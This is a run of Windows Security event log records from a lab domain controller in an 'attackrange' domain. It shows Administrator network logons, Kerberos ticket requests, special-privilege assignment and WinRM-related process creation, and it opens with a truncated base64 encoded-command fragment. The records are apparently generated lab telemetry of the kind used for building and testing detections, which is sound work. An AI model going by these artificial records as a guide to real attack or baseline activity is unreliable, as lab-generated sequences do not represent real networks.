BRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252445 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D8E3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252444 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D8E3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252443 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252442 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252441 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252440 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13fc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252439 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D57F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x928 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252438 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D57F - -Process Information: - New Process ID: 0x928 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252437 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D57F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252436 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D57F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252435 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252434 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252433 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252432 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D548 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252431 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252430 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15914E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252429 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x156A5A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252428 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15A0B9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252427 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15BE41 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252426 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154E65 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252425 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D548 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252424 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D548 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252423 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252422 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252421 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252420 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D52C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252419 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D52C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252418 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15D52C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252417 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {629A0E11-CFA6-A593-1EB1-6AC951E2FA82} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local 